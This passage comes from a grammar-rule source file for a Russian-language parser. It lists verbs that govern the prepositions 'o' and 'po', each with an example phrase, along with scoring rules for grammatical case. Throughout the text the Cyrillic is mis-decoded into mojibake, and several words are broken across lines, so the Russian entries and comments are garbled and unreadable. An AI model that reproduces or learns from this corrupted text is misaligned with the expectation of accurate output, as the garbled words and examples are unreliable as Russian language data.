rus_verbs:ัะฐััะธะฑะธัั{}, // ัะฐััะธะฑะธัั ะพะฑ ััะตะฝั
rus_verbs:ัะตัะตัั{}, // ัะตัะตัั ะพ ะบะฐะผะตะฝั
rus_verbs:ะฟะพัะตัะตัั{}, // ะฟะพัะตัะตัั ะพ ะบะพะปะตะฝะพ
rus_verbs:ัะดะฐัะธัััั{}, // ัะดะฐัะธัััั ะพ ะบัะฐะน
rus_verbs:ัะฟะพัะบะฝััััั{}, // ัะฟะพัะบะฝััััั ะพ ะบะฐะผะตะฝั
rus_verbs:ะทะฐะฟะฝััััั{}, // ะทะฐะฟะฝััััั ะพ ะบะฐะผะตะฝั
rus_verbs:ะทะฐะฟะธะฝะฐัััั{}, // ะทะฐะฟะธะฝะฐัััั ะพ ะบะฐะผะฝะธ
rus_verbs:ัะดะฐัััััั{}, // ัะดะฐัััััั ะพ ะฑะพััะธะบ
rus_verbs:ัััะบะฝััััั{}, // ัััะบะฝััััั ะพ ะฑะพััะธะบ
rus_verbs:ัััะบะฐัััั{}, // ัััะบะฐัััั ะพ ะฑะพััะธะบ
rus_verbs:ะพะฟะตัะตัััั{}, // ะะฝ ะพะฟัััั ะปะพะบััะผะธ ะพ ััะพะป.
rus_verbs:ะฟะปะตัะบะฐัััั{} // ะะพะดะฐ ะฟะปะตัะตััั ะพ ะฑะตัะตะณ.
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะ_ะะธะฝ ะฟัะตะดะปะพะณ:ะพ{} *:*{ ะฟะฐะดะตะถ:ะฒะธะฝ } }
then return true
}
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะพ{} *:*{ ะฟะฐะดะตะถ:ะฒะธะฝ } }
then return false,-5
}
wordentry_set ะะป_ะ_ะฟัะตะดะป={
rus_verbs:ะะ ะะงะะขะฌ{}, // ะพะฝะฐ ะบัะธัะฐะปะฐ ะพ ัะผะตััะธ! (ะะ ะะงะะขะฌ)
rus_verbs:ะ ะะกะกะะ ะะกะะขะฌ{}, // ะฏ ัะฐััะฟัะพัะธะป ะพ ะฝะตะผ ะฝะตัะบะพะปัะบะธั
ะณะพัะพะถะฐะฝ. (ะ ะะกะกะะ ะะกะะขะฌ/ะ ะะกะกะะ ะะจะะะะขะฌ)
rus_verbs:ะ ะะกะกะะ ะะจะะะะขะฌ{}, //
rus_verbs:ัะปััะฐัั{}, // ัั ะฑัะดะตัั ัะปััะฐัั ะพ ะฝะธั
?
rus_verbs:ะฒัะฟะพะผะธะฝะฐัั{}, // ะฒัะฟะพะผะธะฝะฐัั ะพ ัะพะผ ัะฐะทะณะพะฒะพัะต ะตะผั ะฑัะปะพ ะฝะตะฟัะธััะฝะพ
rus_verbs:ะะะะงะะขะฌ{}, // ะ ััะผ ะผะพะปัะฐั ะดะตะฒััะบะธ (ะะะะงะะขะฌ)
rus_verbs:ะะะะะะขะฌ{}, // ะพะฝะฐ ะฟะปะฐะบะฐะปะฐ ะพ ัะตะฑะต (ะะะะะะขะฌ)
rus_verbs:ัะปะพะถะธัั{}, // ะพ ะฒะฐั ัะปะพะถะตะฝั ะปะตะณะตะฝะดั
rus_verbs:ะะะะะะะะขะฌะกะฏ{}, // ะฏ ะฒะพะปะฝัััั ะพ ัะพะผ, ััะพ ััะพ-ัะพ ัะตัััะทะฝะพ ะฟะพัะปะพ ะฝะต ัะฐะบ (ะะะะะะะะขะฌะกะฏ ะ)
rus_verbs:ะฃะะะะฏะะฃะขะฌ{}, // ัะฟะพะผัะฝัะป ะพ ะฝะฐะผะตัะตะฝะธะธ ะบะพะผะฐะฝะดั ะฟัะธะพะฑัะตััะธ ะฝะตัะบะพะปัะบะพ ะฝะพะฒัั
ัััะฑะพะปะธััะพะฒ (ะฃะะะะฏะะฃะขะฌ ะ)
rus_verbs:ะะขะงะะขะซะะะขะฌะกะฏ{}, // ะกัะดะตะฑะฝัะต ะฟัะธััะฐะฒั ะฟัะพะดะพะปะถะฐัั ะพััะธััะฒะฐัััั ะพ ะฑะพััะฑะต ั ะฝะตะฟะปะฐัะตะปััะธะบะฐะผะธ (ะะขะงะะขะซะะะขะฌะกะฏ ะ)
rus_verbs:ะะะะะะะขะฌ{}, // ะฟัะพะฒะตััะธ ััะฐัะตะปัะฝะพะต ัะฐััะปะตะดะพะฒะฐะฝะธะต ะฒะทััะฒะฐ ะฒ ะผะฐัััััะฝะพะผ ัะฐะบัะธ ะฒะพ ะะปะฐะดะธะบะฐะฒะบะฐะทะต ะธ ะดะพะปะพะถะธัั ะพ ัะตะทัะปััะฐัะฐั
(ะะะะะะะขะฌ ะ)
rus_verbs:ะะ ะะะะะขะะขะฌ{}, // ะฟัะฐะฒะธัะตะปัััะฒะพ ัััะฐะฝั ะฑะพะปััะต ะฟัะพะฑะพะปัะฐะปะพ ะพ ะฒะพะตะฝะฝะพะน ัะตัะพัะผะต (ะะ ะะะะะขะะขะฌ ะ)
rus_verbs:ะะะะะขะะขะฌะกะฏ{}, // ะงะตัะฒะตััั ัะพััะธัะฝ ะทะฐะฑะพััััั ะพ ะทะดะพัะพะฒัะต ะฟััะตะผ ะฟัะพัะผะพััะฐ ัะตะปะตะฒะธะทะพัะฐ (ะะะะะขะะขะฌะกะฏ ะ)
rus_verbs:ะะ ะะะะะะ ะะะะขะฌ{}, // ะั ะธัะพะฝะธะทะธััะตัะต ะพ ะฝะพััะฐะปัะณะธะธ ะฟะพ ัะตะผ ะฒัะตะผะตะฝะตะผ (ะะ ะะะะะะ ะะะะขะฌ ะ)
rus_verbs:ะกะะะะะะะะะ ะะะะขะฌ{}, // ะัะธะทะธั ัะตะฝ ะฝะฐ ะฟัะพะดัะบัั ะฟะธัะฐะฝะธั ัะธะณะฝะฐะปะธะทะธััะตั ะพ ะฝะตะผะธะฝัะตะผะพะน ะณะธะฟะตัะธะฝัะปััะธะธ (ะกะะะะะะะะะ ะะะะขะฌ ะ)
rus_verbs:ะกะะ ะะกะะขะฌ{}, // ะะฝ ัะฟัะพัะธะป ะพ ะผะพัะผ ะทะดะพัะพะฒัะต. (ะกะะ ะะกะะขะฌ ะ)
rus_verbs:ะะะะะะะะขะฌ{}, // ะฑะพะปัะฝะพะน ะทัะฑ ะพะฟััั ะฝะฐะฟะพะผะฝะธะป ะพ ัะตะฑะต. (ะะะะะะะะขะฌ ะ)
rus_verbs:ะพัะฒะตะดะพะผะธัััั{}, // ะพัะธัะตั ะพัะฒะตะดะพะผะธะปัั ะพ ัะตะปะธ ะฒะธะทะธัะฐ
rus_verbs:ะพะฑััะฒะธัั{}, // ะ ะณะฐะทะตัะต ะพะฑััะฒะธะปะธ ะพ ะบะพะฝะบัััะต. (ะพะฑััะฒะธัั ะพ)
rus_verbs:ะะ ะะะกะขะะฏะขะฌ{}, // ะพ ัะตะผ ะฟัะตะดััะพะธั ัะฐะทะณะพะฒะพั? (ะะ ะะะกะขะะฏะขะฌ ะ)
rus_verbs:ะพะฑััะฒะปััั{}, // ะพะฑััะฒะปััั ะพ ะฒัะตะพะฑัะตะน ะทะฐะฑะฐััะพะฒะบะต (ะพะฑััะฒะปััั ะพ)
rus_verbs:ะทะฐะนัะธ{}, // ะ ะฐะทะณะพะฒะพั ะทะฐััะป ะพ ะฟะพะปะธัะธะบะต.
rus_verbs:ะฟะพัะฐััะบะฐะทะฐัั{}, // ะฟะพัะฐััะบะฐะทะฐัั ะพ ัะฒะพะธั
ะฟััะตัะตััะฒะธัั
ะธะฝัะธะฝะธัะธะฒ:ัะฟะตัั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะฟะตัั{ ะฒะธะด:ัะพะฒะตัั }, // ัะฟะตัั ะพ ะฝะตัะฐะทะดะตะปะตะฝะฝะพะน ะปัะฑะฒะธ
ะดะตะตะฟัะธัะฐััะธะต:ัะฟะตะฒ{}, ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฟะตะฒัะธะน{ ะฒะธะด:ัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฟะตััะน{},
rus_verbs:ะฝะฐะฟะตัั{},
rus_verbs:ัะฐะทะณะพะฒะฐัะธะฒะฐัั{}, // ัะฐะทะณะพะฒะฐัะธะฒะฐัั ั ะดััะณะพะผ ะพ ะถะธะทะฝะธ
rus_verbs:ัะฐัััะถะดะฐัั{}, // ัะฐัััะถะดะฐัั ะพะฑ ะฐะฑัััะฐะบัะฝัั
ะธะดะตัั
//rus_verbs:ะทะฐะฑะพัะธัััั{}, // ะทะฐะฑะพัะธัััั ะพ ะฟัะตััะฐัะตะปัั
ัะพะดะธัะตะปัั
rus_verbs:ัะฐะทะดัะผัะฒะฐัั{}, // ัะฐะทะดัะผัะฒะฐัั ะพ ะฝะพะฒะพะน ัะฐะฑะพัะต
rus_verbs:ะดะพะณะพะฒะฐัะธะฒะฐัััั{}, // ะดะพะณะพะฒะฐัะธะฒะฐัััั ะพ ััะผะผะต ะบะพะผะฟะตะฝัะฐัะธะธ
rus_verbs:ะผะพะปะธัั{}, // ะผะพะปะธัั ะพ ะฟะพัะฐะดะต
rus_verbs:ะพัะทัะฒะฐัััั{}, // ะพัะทัะฒะฐัััั ะพ ะบะฝะธะณะต
rus_verbs:ะฟะพะดัะผัะฒะฐัั{}, // ะฟะพะดัะผัะฒะฐัั ะพ ะฝะพะฒะพะผ ะฟะพะดั
ะพะดะต
rus_verbs:ะฟะพะณะพะฒะฐัะธะฒะฐัั{}, // ะฟะพะณะพะฒะฐัะธะฒะฐัั ะพ ะทะฐะณะฐะดะพัะฝะพะผ ะทะฒะตัะต
rus_verbs:ะพะฑะผะพะปะฒะธัััั{}, // ะพะฑะผะพะปะฒะธัััั ะพ ะฟัะพะบะปััะธะธ
rus_verbs:ััะปะพะฒะธัััั{}, // ััะปะพะฒะธัััั ะพ ะฟะพะดะดะตัะถะบะต
rus_verbs:ะฟัะธะทะฐะดัะผะฐัััั{}, // ะฟัะธะทะฐะดัะผะฐัััั ะพ ะฟะพัะปะตะดััะฒะธัั
rus_verbs:ะธะทะฒะตััะธัั{}, // ะธะทะฒะตััะธัั ะพ ะฟะพัััะฟะปะตะฝะธะธ
rus_verbs:ะพััะฐะฟะพััะพะฒะฐัั{}, // ะพััะฐะฟะพััะพะฒะฐัั ะพะฑ ััะฟะตั
ะฐั
rus_verbs:ะฝะฐะฟะตะฒะฐัั{}, // ะฝะฐะฟะตะฒะฐัั ะพ ะปัะฑะฒะธ
rus_verbs:ะฟะพะผััะปััั{}, // ะฟะพะผััะปััั ะพ ะฝะพะฒะพะผ ะดะตะปะต
rus_verbs:ะฟะตัะตะณะพะฒะพัะธัั{}, // ะฟะตัะตะณะพะฒะพัะธัั ะพ ะฟัะฐะฒะธะปะฐั
rus_verbs:ะฟะพะฒะตััะฒะพะฒะฐัั{}, // ะฟะพะฒะตััะฒะพะฒะฐัั ะพ ัะพะฑััะธัั
rus_verbs:ัะปัั
ะธะฒะฐัั{}, // ัะปัั
ะธะฒะฐัั ะพ ััะดะธัะต
rus_verbs:ะฟะพัะพะปะบะพะฒะฐัั{}, // ะฟะพัะพะปะบะพะฒะฐัั ะพ ะฟะปะฐะฝะฐั
rus_verbs:ะฟัะพะณะพะฒะพัะธัััั{}, // ะฟัะพะณะพะฒะพัะธัััั ะพ ะฟะปะฐะฝะฐั
rus_verbs:ัะผะพะปัะฐัั{}, // ัะผะพะปัะฐัั ะพ ัััะฐัะฐั
rus_verbs:ั
ะปะพะฟะพัะฐัั{}, // ั
ะปะพะฟะพัะฐัั ะพ ะฟัะตะผะธะธ
rus_verbs:ัะฒะตะดะพะผะธัั{}, // ัะฒะตะดะพะผะธัั ะพ ะฟะพัััะฟะปะตะฝะธะธ
rus_verbs:ะณะพัะตะฒะฐัั{}, // ะณะพัะตะฒะฐัั ะพ ะฟะพัะตัะต
rus_verbs:ะทะฐะฟะฐะผััะพะฒะฐัั{}, // ะทะฐะฟะฐะผััะพะฒะฐัั ะพ ะฒะฐะถะฝะพะผ ะผะตัะพะฟัะธััะธะธ
rus_verbs:ะทะฐะธะบะฝััััั{}, // ะทะฐะธะบะฝััััั ะพ ะฟัะธะฑะฐะฒะบะต
rus_verbs:ะธะฝัะพัะผะธัะพะฒะฐัั{}, // ะธะฝัะพัะผะธัะพะฒะฐัั ะพ ัะพะฑััะธัั
rus_verbs:ะฟัะพะฑะพะปัะฐัััั{}, // ะฟัะพะฑะพะปัะฐัััั ะพ ะบะปะฐะดะต
rus_verbs:ะฟะพัะฐะทะผััะปะธัั{}, // ะฟะพัะฐะทะผััะปะธัั ะพ ััะดัะฑะต
rus_verbs:ะทะฐะธะบะฐัััั{}, // ะทะฐะธะบะฐัััั ะพ ะดะตะฝัะณะฐั
rus_verbs:ะพะฟะพะฒะตััะธัั{}, // ะพะฟะพะฒะตััะธัั ะพะฑ ะพัะบะฐะทะต
rus_verbs:ะฟะตัััั{}, // ะฟะตัััั ะพ ะฒัะตะพะฑัะตะผ ะฑะปะฐะณะต
rus_verbs:ัะฐะทะณะปะฐะณะพะปัััะฒะพะฒะฐัั{}, // ัะฐะทะณะปะฐะณะพะปัััะฒะพะฒะฐัั ะพ ะฟัะฐะฒะฐั
rus_verbs:ัะฐะทะผะตััะฐัััั{}, // ัะฐะทะผะตััะฐัััั ะพ ะฑัะดััะตะผ
rus_verbs:ะปะตะฟะตัะฐัั{}, // ะปะตะฟะตัะฐัั ะพ ะฝะตะฒะธะฝะพะฒะฝะพััะธ
rus_verbs:ะณัะตะทะธัั{}, // ะณัะตะทะธัั ะพ ะฑะพะปััะพะน ะธ ัะธััะพะน ะปัะฑะฒะธ
rus_verbs:ะทะฐะปะตะฟะตัะฐัั{}, // ะทะฐะปะตะฟะตัะฐัั ะพ ัะพะบัะพะฒะธัะฐั
rus_verbs:ะฟัะพะฝัั
ะฐัั{}, // ะฟัะพะฝัั
ะฐัั ะพ ะฑะตัะฟะปะฐัะฝะพะน ะพะดะตะถะดะต
rus_verbs:ะฟัะพัััะฑะธัั{}, // ะฟัะพัััะฑะธัั ะพ ะฟะพะฑะตะดะต
rus_verbs:ะธะทะฒะตัะฐัั{}, // ะธะทะฒะตัะฐัั ะพ ะฟะพัััะฟะปะตะฝะธะธ
rus_verbs:ัััะฑะธัั{}, // ัััะฑะธัั ะพ ะฟะพะธะผะบะต ัะฐะทะฑะพะนะฝะธะบะพะฒ
rus_verbs:ะพัะฒะตะดะพะผะปััััั{}, // ะพัะฒะตะดะพะผะปััััั ะพ ััะดัะฑะต
rus_verbs:ะฟะพัะฐะทะผััะปััั{}, // ะฟะพัะฐะทะผััะปััั ะพ ะฝะตะธะทะฑะตะถะฝะพะผ
rus_verbs:ัะปะฐะณะฐัั{}, // ัะปะฐะณะฐัั ะพ ะฟะพะดะฒะธะณะฐั
ะฒะธะบะธะฝะณะพะฒ
rus_verbs:ั
ะพะดะฐัะฐะนััะฒะพะฒะฐัั{}, // ั
ะพะดะฐัะฐะนััะฒะพะฒะฐัั ะพ ะฒัะดะตะปะตะฝะธะธ ะผะฐัะตัะธะฐะปัะฝะพะน ะฟะพะผะพัะธ
rus_verbs:ะฟะพะฑะตัะฟะพะบะพะธัััั{}, // ะฟะพะฑะตัะฟะพะบะพะธัััั ะพ ะฟัะฐะฒะธะปัะฝะพะผ ััะธะผัะปะธัะพะฒะฐะฝะธะธ
rus_verbs:ะทะฐะบะธะดัะฒะฐัั{}, // ะทะฐะบะธะดัะฒะฐัั ัะพะพะฑัะตะฝะธัะผะธ ะพะฑ ะพัะธะฑะบะฐั
rus_verbs:ะฑะฐะทะฐัะธัั{}, // ะฟะฐัะฐะฝั ะฑะฐะทะฐัะธะปะธ ะพ ัะตะปะบะฐั
rus_verbs:ะฑะฐะปะฐะณััะธัั{}, // ะผัะถะธะบะธ ะฑะฐะปะฐะณััะธะปะธ ะพ ะฝะพะฒะพะผ ะฟัะตะดัะตะดะฐัะตะปะต
rus_verbs:ะฑะฐะปะฐะบะฐัั{}, // ะผัะถะธะบะธ ะฑะฐะปะฐะบะฐะปะธ ะพ ะฝะพะฒะพะผ ะฟัะตะดัะตะดะฐัะตะปะต
rus_verbs:ะฑะตัะฟะพะบะพะธัััั{}, // ะะฝะฐ ะฑะตัะฟะพะบะพะธััั ะพ ะดะตััั
rus_verbs:ัะฐััะบะฐะทะฐัั{}, // ะัะผะธั ัะฐััะบะฐะทะฐะป ะพ ะบัะธะผะธะฝะฐะปะต ะฒ ะะพัะบะฒะต
rus_verbs:ะฒะพะทะผะตััะฐัั{}, // ะฒะพะทะผะตััะฐัั ะพ ััะฐััะปะธะฒะพะผ ะผะธัะต
rus_verbs:ะฒะพะฟะธัั{}, // ะัะพ-ัะพ ะฒะพะฟะธะป ะพ ะฝะตัะฟัะฐะฒะตะดะปะธะฒะพััะธ
rus_verbs:ัะบะฐะทะฐัั{}, // ัะบะฐะทะฐัั ััะพ-ัะพ ะฝะพะฒะพะต ะพ ะบะพะผ-ัะพ
rus_verbs:ะทะฝะฐัั{}, // ะทะฝะฐัั ะพ ะบะพะผ-ัะพ ััะพ-ัะพ ะฟะธะบะฐะฝัะฝะพะต
rus_verbs:ะฟะพะดัะผะฐัั{}, // ะฟะพะดัะผะฐัั ะพ ััะผ-ัะพ
rus_verbs:ะดัะผะฐัั{}, // ะดัะผะฐัั ะพ ััะผ-ัะพ
rus_verbs:ัะทะฝะฐัั{}, // ัะทะฝะฐัั ะพ ะฟัะพะธััะตััะฒะธะธ
rus_verbs:ะฟะพะผะฝะธัั{}, // ะฟะพะผะฝะธัั ะพ ะทะฐะดะฐะฝะธะธ
rus_verbs:ะฟัะพัะธัั{}, // ะฟัะพัะธัั ะพ ะบะพะดะต ะดะพัััะฟะฐ
rus_verbs:ะทะฐะฑััั{}, // ะทะฐะฑััั ะพ ัะฒะพะธั
ะพะฑัะทะฐะฝะฝะพัััั
rus_verbs:ัะพะพะฑัะธัั{}, // ัะพะพะฑัะธัั ะพ ะทะฐะปะพะถะตะฝะฝะพะน ะผะธะฝะต
rus_verbs:ะทะฐัะฒะธัั{}, // ะทะฐัะฒะธัั ะพ ะฟัะพะฟะฐะถะต
rus_verbs:ะทะฐะดัะผะฐัััั{}, // ะทะฐะดัะผะฐัััั ะพ ัะผะตััะธ
rus_verbs:ัะฟัะฐัะธะฒะฐัั{}, // ัะฟัะฐัะธะฒะฐัั ะพ ะฟะพัััะฟะปะตะฝะธะธ ัะพะฒะฐัะฐ
rus_verbs:ะดะพะณะฐะดะฐัััั{}, // ะดะพะณะฐะดะฐัััั ะพ ะฟัะธัะธะฝะฐั
rus_verbs:ะดะพะณะพะฒะพัะธัััั{}, // ะดะพะณะพะฒะพัะธัััั ะพ ัะพะฑะตัะตะดะพะฒะฐะฝะธะธ
rus_verbs:ะผะตััะฐัั{}, // ะผะตััะฐัั ะพ ััะตะฝะต
rus_verbs:ะฟะพะณะพะฒะพัะธัั{}, // ะฟะพะณะพะฒะพัะธัั ะพ ะฝะฐะฑะพะปะตะฒัะตะผ
rus_verbs:ัะฐะทะผััะปััั{}, // ัะฐะทะผััะปััั ะพ ะฝะฐัััะฝะพะผ
rus_verbs:ะฝะฐะฟะพะผะธะฝะฐัั{}, // ะฝะฐะฟะพะผะธะฝะฐัั ะพ ัะตะฑะต
rus_verbs:ะฟะพะถะฐะปะตัั{}, // ะฟะพะถะฐะปะตัั ะพ ัะพะดะตัะฝะฝะพะผ
rus_verbs:ะฝััั{}, // ะฝััั ะพ ะฟัะธะฑะฐะฒะบะต
rus_verbs:ัะพะพะฑัะฐัั{}, // ัะพะพะฑัะฐัั ะพ ะฟะพะฑะตะดะต
rus_verbs:ะดะพะณะฐะดัะฒะฐัััั{}, // ะดะพะณะฐะดัะฒะฐัััั ะพ ะฟะตัะฒะพะฟัะธัะธะฝะต
rus_verbs:ะฟะพะฒะตะดะฐัั{}, // ะฟะพะฒะตะดะฐัั ะพ ัะฐะนะฝะฐั
rus_verbs:ัะผะพะปััั{}, // ัะผะพะปััั ะพ ะฟะพัะฐะดะต
rus_verbs:ัะพะถะฐะปะตัั{}, // ัะพะถะฐะปะตัั ะพ ัะปััะธะฒัะตะผัั
rus_verbs:ะถะฐะปะตัั{}, // ะถะฐะปะตัั ะพ ัะปััะธะฒัะตะผัั
rus_verbs:ะทะฐะฑัะฒะฐัั{}, // ะทะฐะฑัะฒะฐัั ะพ ัะปััะธะฒัะตะผัั
rus_verbs:ัะฟะพะผะธะฝะฐัั{}, // ัะฟะพะผะธะฝะฐัั ะพ ะฟัะตะดะบะฐั
rus_verbs:ะฟะพะทะฐะฑััั{}, // ะฟะพะทะฐะฑััั ะพ ัะฒะพะตะผ ะพะฑะตัะฐะฝะธะธ
rus_verbs:ะทะฐะฟะตัั{}, // ะทะฐะฟะตัั ะพ ะปัะฑะฒะธ
rus_verbs:ัะบะพัะฑะตัั{}, // ัะบะพัะฑะตัั ะพ ััะพะฟัะตะผ
rus_verbs:ะทะฐะดัะผัะฒะฐัััั{}, // ะทะฐะดัะผัะฒะฐัััั ะพ ัะผะตะฝะต ัะฐะฑะพัั
rus_verbs:ะฟะพะทะฐะฑะพัะธัััั{}, // ะฟะพะทะฐะฑะพัะธัััั ะพ ะฟัะตััะฐัะตะปัั
ัะพะดะธัะตะปัั
rus_verbs:ะดะพะบะปะฐะดัะฒะฐัั{}, // ะดะพะบะปะฐะดัะฒะฐัั ะพ ะฟะปะฐะฝะฐั
ัััะพะธัะตะปัััะฒะฐ ัะตะปะปัะปะพะทะฝะพ-ะฑัะผะฐะถะฝะพะณะพ ะบะพะผะฑะธะฝะฐัะฐ
rus_verbs:ะฟะพะฟัะพัะธัั{}, // ะฟะพะฟัะพัะธัั ะพ ะทะฐะผะตะฝะต
rus_verbs:ะฟัะตะดัะฟัะตะดะธัั{}, // ะฟัะตะดัะฟัะตะดะธัั ะพ ะทะฐะผะตะฝะต
rus_verbs:ะฟัะตะดัะฟัะตะถะดะฐัั{}, // ะฟัะตะดัะฟัะตะถะดะฐัั ะพ ะทะฐะผะตะฝะต
rus_verbs:ัะฒะตัะดะธัั{}, // ัะฒะตัะดะธัั ะพ ะทะฐะผะตะฝะต
rus_verbs:ะทะฐัะฒะปััั{}, // ะทะฐัะฒะปััั ะพ ะฟะพะดะปะพะณะต
rus_verbs:ะฟะตัั{}, // ะฟะตะฒะธัะฐ, ะฟะพััะฐั ะพ ะปะตัะต
rus_verbs:ะฟัะพะธะฝัะพัะผะธัะพะฒะฐัั{}, // ะฟัะพะธะฝัะพัะผะธัะพะฒะฐัั ะพ ะฟะตัะตะณะพะฒะพัะฐั
rus_verbs:ะฟะพัะฐััะบะฐะทัะฒะฐัั{}, // ะฟะพัะฐััะบะฐะทัะฒะฐัั ะพ ัะพะฑััะธัั
rus_verbs:ะฟะพัะปััะฐัั{}, // ะฟะพัะปััะฐัั ะพ ะฝะพะฒะธะฝะบะฐั
rus_verbs:ะทะฐะณะพะฒะพัะธัั{}, // ะทะฐะณะพะฒะพัะธัั ะพ ะฟะปะฐัะต
rus_verbs:ะพัะพะทะฒะฐัััั{}, // ะะฝ ะพัะพะทะฒะฐะปัั ะพ ะบะฝะธะณะต ั ะฑะพะปััะพะน ะฟะพั
ะฒะฐะปะพะน.
rus_verbs:ะพััะฐะฒะธัั{}, // ะะฝ ะพััะฐะฒะธะป ะพ ัะตะฑะต ะฟะตัะฐะปัะฝัั ะฟะฐะผััั.
rus_verbs:ัะฒะธะดะตัะตะปัััะฒะพะฒะฐัั{}, // ัััะฐัะฝะพ ะธัั
ัะดะฐะฒัะตะต ัะตะปะพ ัะฒะธะดะตัะตะปัััะฒะพะฒะฐะปะพ ะพ ะดะพะปะณะธั
ะปะธัะตะฝะธัั
rus_verbs:ัะฟะพัะธัั{}, // ะพะฝะธ ัะฟะพัะธะปะธ ะพ ะทะฐะบะพะฝะต
ะณะปะฐะณะพะป:ะฝะฐะฟะธัะฐัั{ aux stress="ะฝะฐะฟะธั^ะฐัั" }, ะธะฝัะธะฝะธัะธะฒ:ะฝะฐะฟะธัะฐัั{ aux stress="ะฝะฐะฟะธั^ะฐัั" }, // ะะฝ ะฝะฐะฟะธัะฐะป ะพ ัะพะผ, ััะพ ะฒะธะดะตะป ะฒะพ ะฒัะตะผั ะฟััะตัะตััะฒะธั.
ะณะปะฐะณะพะป:ะฟะธัะฐัั{ aux stress="ะฟะธั^ะฐัั" }, ะธะฝัะธะฝะธัะธะฒ:ะฟะธัะฐัั{ aux stress="ะฟะธั^ะฐัั" }, // ะะฝ ะฟะธัะฐะป ะพ ัะพะผ, ััะพ ะฒะธะดะตะป ะฒะพ ะฒัะตะผั ะฟััะตัะตััะฒะธั.
rus_verbs:ะฟัะพัะธัะฐัั{}, // ะฏ ะฟัะพัะธัะฐะป ะพ ัะตะฑะต
rus_verbs:ััะปััะฐัั{}, // ะฏ ััะปััะฐะป ะพ ะฝะตะผ
rus_verbs:ะฟะพะผะตััะฐัั{}, // ะะตะฒะพัะบะธ ะฟะพะผะตััะฐะปะธ ะพ ะฟัะธะฝัะต
rus_verbs:ัะปััะฐัั{}, // ะะฐะปััะธะบ ัะปััะฐะป ะพ ะฟัะธะฒะตะดะตะฝะธัั
rus_verbs:ะฒัะฟะพะผะฝะธัั{}, // ะะตะฒะพัะบะธ ะฒัะฟะพะผะฝะธะปะธ ะพ ะทะฐะฒััะฐะบะต
rus_verbs:ะณััััะธัั{}, // ะฏ ะณัััั ะพ ัะตะฑะต
rus_verbs:ะพัะฒะตะดะพะผะธัั{}, // ะพ ะฟะพัะปะตะดะฝะธั
ะดะพััะธะถะตะฝะธัั
ะฝะฐัะบะธ
rus_verbs:ัะฐััะบะฐะทัะฒะฐัั{}, // ะะฝัะพะฝะธะพ ัะฐััะบะฐะทัะฒะฐะตั ะพ ัะฐะฑะพัะต
rus_verbs:ะณะพะฒะพัะธัั{}, // ะณะพะฒะพัะธะผ ะพ ััะตั
ะฑะพะปััะธั
ะฟัะฐั
rus_verbs:ะธะดัะธ{} // ะะพะฟัะพั ะธะดัั ะพ ะฒะพะนะฝะต.
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะ_ะฟัะตะดะป ะฟัะตะดะปะพะณ:ะพ{} *:*{ ะฟะฐะดะตะถ:ะฟัะตะดะป } }
then return true
}
// ะั ะฟะพะดะตะปะธะปะธัั ะฒะฟะตัะฐัะปะตะฝะธัะผะธ ะพ ะฒัััะฐะฒะบะต.
// ^^^^^^^^^^ ^^^^^^^^^^
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะพ{} *:*{ ะฟะฐะดะตะถ:ะฟัะตะดะป } }
then return false,-3
}
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะพ{} *:*{} }
then return false,-5
}
#endregion ะัะตะดะปะพะณ_ะ
#region ะัะตะดะปะพะณ_ะะ
// ------------------- ะก ะะ ะะะะะะะ 'ะะ' ----------------------
// ะดะปั ััะธั
ะณะปะฐะณะพะปะพะฒ - ะทะฐะฟัะตัะฐะตะผ ัะฒัะทัะฒะฐะฝะธะต ั ะะ+ะดะฐั.ะฟ.
wordentry_set ะะปะฐะณ_ะะ_ะะฐั_ะะฐะฟั=
{
rus_verbs:ะฟัะตะดะฟัะธะฝััั{}, // ะฟัะตะดะฟัะธะฝััั ัะฐะณะธ ะฟะพ ััะธะผัะปะธัะพะฒะฐะฝะธั ะฟัะพะดะฐะถ
rus_verbs:ัะฒะปะตัั{}, // ัะฒะปะตัั ะฒ ะฟัะพะณัะปะบั ะฟะพ ะฟะฐัะบั
rus_verbs:ะทะฐะบะพะฝัะธัั{},
rus_verbs:ะผะพัั{},
rus_verbs:ั
ะพัะตัั{}
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะปะฐะณ_ะะ_ะะฐั_ะะฐะฟั ะฟัะตะดะปะพะณ:ะฟะพ{} *:*{ ะฟะฐะดะตะถ:ะดะฐั } }
then return false,-10
}
// ะะพ ัะผะพะปัะฐะฝะธั ัะฐะทัะตัะฐะตะผ ัะฒัะทัะฒะฐะฝะธะต ะฒ ะฟะฐััะตัะฝะฐั
ัะธะฟะฐ
// ะฏ ะธะดั ะฟะพ ัะพััะต
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะฟะพ{} *:*{ ะฟะฐะดะตะถ:ะดะฐั } }
then return true
}
wordentry_set ะะปะฐะณ_ะะ_ะะธะฝ=
{
rus_verbs:ะะะะขะ{}, // ะปะตะทะฒะธะต ะฒะพัะปะพ ะฟะพ ััะบะพััั (ะะะะขะ)
rus_verbs:ะธะผะตัั{}, // ะฒัะต ะผะตัััั ะธะผะตะปะธ ะฟะพ ััะธะดัะฐัั ะดะฝะตะน. (ะะะะขะฌ ะะ)
rus_verbs:ะผะฐัะตัะธะฐะปะธะทะพะฒะฐัััั{}, // ะผะฐัะตัะธะฐะปะธะทะพะฒะฐัััั ะฟะพ ะดััะณัั ััะพัะพะฝั ะฑะฐััะตัะฐ
rus_verbs:ะทะฐัะฐะดะธัั{}, // ะทะฐัะฐะดะธัั ะฟะพ ััะบะพััะบั
rus_verbs:ัะฒัะทะฝััั{} // ัะฒัะทะฝััั ะฟะพ ะบะพะปะตะฝะพ
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะปะฐะณ_ะะ_ะะธะฝ ะฟัะตะดะปะพะณ:ะฟะพ{} *:*{ ะฟะฐะดะตะถ:ะฒะธะฝ } }
then return true
}
// ะดะปั ะพััะฐะปัะฝัั
ะฟะฐะดะตะถะตะน ะทะฐะฟัะตัะฐะตะผ.
fact ะณะป_ะฟัะตะดะป
{
